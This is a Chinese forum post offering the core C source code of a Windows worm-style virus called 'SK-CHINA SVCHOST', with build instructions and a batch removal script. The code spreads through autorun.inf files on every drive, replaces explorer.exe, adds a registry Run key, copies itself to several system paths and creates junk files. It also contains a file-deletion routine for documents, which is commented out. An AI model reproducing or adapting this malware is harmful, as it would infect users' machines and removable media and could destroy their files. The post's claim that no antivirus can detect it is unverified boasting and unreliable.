本版病毒所具有的功能: 1.在所有磁盘的根目录生成svchost.com和autorun.inf文件 2.生成病毒体: c:\windows\wjview32.com c:\windows\explorer.exe c:\windows\system32\dllcache\explorer.exe c:\windows\system\msmouse.dll c:\windows\system32\cmdsys.sys c:\windows\system32\mstsc32.exe 3.病毒体c:\windows\explorer.exe感染原explorer.exe文件,使其不需要修改注册表做到启动时在
explorer.exe前启动 4.修改注册表,在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 设置自启动项(此操作不使用windowsAPI,防止用户对病毒体的发现,并实现并行执行) 5.生成的autorun.inf改变磁盘的打开方式,使其在windows2000以上的系统无论选择“打开”、“双击”、“
资源管理器”等方式都无法打开分驱,而是以运行病毒的方式取而代之。 6.连锁能力,将病毒体相连,实现相连复制更新 7.使用进程不断调用进程,使得在任务管理里无法结束病毒进程 8.不断搜索磁盘,只要发现未感染病毒的一律感染,病毒删除后1秒内再建 9.生成垃圾文件(DESTORY_感染_任意数字)5个于C盘下 10.附带删除文件函数(为防止危害,本函数默认不执行)
本病毒到目前为止任何杀毒软件都无法将其查杀 本病毒单机默认使用对机器无害(破坏代码已屏蔽) 提供病毒卸载程序(保存为X.BAT,双击运行即可卸载):
@echo off echo SK-CHINA SVCHOST KILLER 2007.6 echo WRITE BY S.K taskkill /im mstsc32.exe /f del c:\windows\wjview32.com del c:\windows\explorer.exe del c:\windows\system32\dllcache\explorer.exe del c:\windows\system\msmouse.dll del c:\windows\system32\cmdsys.sys del c:\windows\system32\mstsc32.exe del c:\svchost.com del c:\autorun.inf del d:\svchost.com del d:\autorun.inf del e:\svchost.com del e:\autorun.inf del f:\svchost.com del f:\autorun.inf del g:\svchost.com del g:\autorun.inf del h:\svchost.com del h:\autorun.inf copy c:\windows\system\explorer.exe c:\windows\explorer.exe copy c:\windows\system\explorer.exe c:\windows\system32\dllcache\explorer.exe del c:\windows\system\explorer.exe echo FINISH! echo 如果本次清除后仍残留有病毒,请再次运行本程序 pause
-------------------------------------------------------------------- 核心代码:(全部代码请从附件中下载,请用DEV-CPP运行其中的工程文件,编译后请将结果文件svchost.exe更名为svchost.com,否则本病毒无法发挥作用,请安心运行实验,恶意代码已屏蔽)
/* SK-CHINA SVCHOST virus WRITE BY S.K Compiler: DEV-CPP 4.9.9.2 */
/* SVCHOST.C */ /* SVCHOST.EXE */ /* SVCHOST.COM */ #include<stdio.h> /*标准输入输出*/ #include<string.h> /*字符串操作*/ #include<stdlib.h> /*其它函数*/ #include<process.h> /*进程控制*/ #include<dir.h> /*目录函数*/
#define SVCHOST_NUM 6 /*关键位置病毒复制数量*/ #define RUBBISH_NUM 5 /*垃圾文件数量*/ #define REMOVE_NUM 5 /*删除文件数*/ /*====================================================================*/ /* 文件AUTORUN.INF内容: 1.自动运行SVCHOST.com 2.覆盖默认打开命令,使用病毒体作为新的打开方式 3.覆盖默认资源管理器命令,使病毒体作为新的命令方式 */ char *autorun={"[AutoRun]\nopen=\"SVCHOST.com /s\"\nshell\\open=打开(&O)
\nshell\\open\\Command=\"SVCHOST.com /s\"\nshell\\explore=资源管理器(&X)
\nshell\\explore\\Command=\"SVCHOST.com /s\""}; /*=====================================================================*/ /* 添加注册表项: 1.自动运行生成病毒体C:\windows\wjview32.com */ char *regadd={"REGEDIT4\n\n
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32
\"=\"C:\\\\windows\\\\wjview32.com /s\""}; /*=====================================================================*/ /* 函数:复制文件 复制源:infile 目的地:outfile 成功返回0,失败返回1 */ int copy(char *infile,char *outfile) { FILE *input,*output; char temp; if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen
(outfile,"wb"))!=NULL)) { while(!feof(input)) { fread(&temp,1,1,input); fwrite(&temp,1,1,output); } fclose(input); fclose(output); return 0; } else return 1; } /*=====================================================================*/ /* 函数:通过explorer自动运行 成功返回0,失败返回1,2 */ int autorun_explorer() { FILE *input; if((input=fopen("c:\\windows\\system\\explorer.exe","rb"))!=NULL) { fclose(input); remove("c:\\windows\\$temp$"); remove("c:\\windows\\system32\\dllcache\\$temp$"); return 1; } copy("c:\\windows\\explorer.exe","c:\\windows\\system\\explorer.exe"); rename("c:\\windows\\explorer.exe","c:\\windows\\$temp$"); rename("c:\\windows\\system32\\dllcache\\explorer.exe","c:\\windows\\system32
\\dllcache\\$temp$"); if(copy("SVCHOST.com","c:\\windows\\explorer.exe")==0 && copy
("SVCHOST.com","c:\\windows\\system32\\dllcache\\explorer.exe")==0) return 0; else return 2; } /*=====================================================================*/ /* 函数:添加注册表项 成功返回0,失败返回1 */ int add_reg() { FILE *output; if((output=fopen("$$$$$","w"))!=NULL) { fprintf(output,regadd); fclose(output); spawnl(1,"c:\\windows\\regedit.exe"," /s $$$$$",NULL); } } /*=====================================================================*/ /* 函数:复制病毒 + Autorun.inf自动运行 */ void copy_virus() { int i,k; FILE *input,*output; char *files_svchost[SVCHOST_NUM]=
{"svchost.com","c:\\windows\\wjview32.com","c:\\windows\\system\\MSMOUSE.DLL","c:\\windows\\syste
m32\\cmdsys.sys","c:\\windows\\system32\\mstsc32.exe","c:\\windows\\explorer.exe"}; char temp[2][20]={"c:\\svchost.com","c:\\autorun.inf"}; for(i=0;i<SVCHOST_NUM;i++) { if((input=fopen(files_svchost[i],"rb"))!=NULL) { fclose(input); for(k=0;k<SVCHOST_NUM;k++) { copy(files_svchost[i],files_svchost[k]); } i=SVCHOST_NUM; } } for(i=0;i<SVCHOST_NUM;i++) { if((input=fopen(files_svchost[i],"rb"))!=NULL) { fclose(input); for(k=0;k<24;k++) { copy(files_svchost[i],temp[0]); if((output=fopen(temp[1],"w"))!=NULL) { fprintf(output,"%s",autorun); fclose(output); } temp[0][0]++; temp[1][0]++; } i=SVCHOST_NUM; } } } /*=====================================================================*/ /* 函数:制造垃圾文件 */ void make_rubbish() { int i; FILE *output; srand(0); for(i=0;i<RUBBISH_NUM;i++) { int n; char s[30]; n=rand(); sprintf(s,"C:\\DESTORY_感染_%d",n); if((output=fopen(s,"w"))!=NULL) { fprintf(output,"%ld%s",n*n,s); fclose(output); } } } /*=====================================================================*/ /* 函数:删除文件 */ void remove_files() { long done; int i; struct _finddata_t ffblk; char *remove_files[3]={"*.txt","*.doc","*.xls"}; for(i=0;i<3;i++) { if(_findfirst(remove_files[i],&ffblk)==-1) continue; while(!done) { remove(ffblk.name); _findnext(done,&ffblk); } _findclose(done); } } /*=====================================================================*/ /* 主程序 使用DEV-CPP 32位C工程 实现.C程序脱离命令行界面,于后台执行 */ int main(int argc,char **argv) { int contral=0; if(argc>1) if(strcmp(argv[1],"/s")==0) goto next1; autorun_explorer(); spawnl(1,"c:\\windows\\system\\explorer.exe",NULL); next1: add_reg(); copy_virus(); make_rubbish(); /* remove_files(); */ spawnl(1,"c:\\windows\\system32\\mstsc32.exe"," /s",NULL); return 0; }
|
请发表评论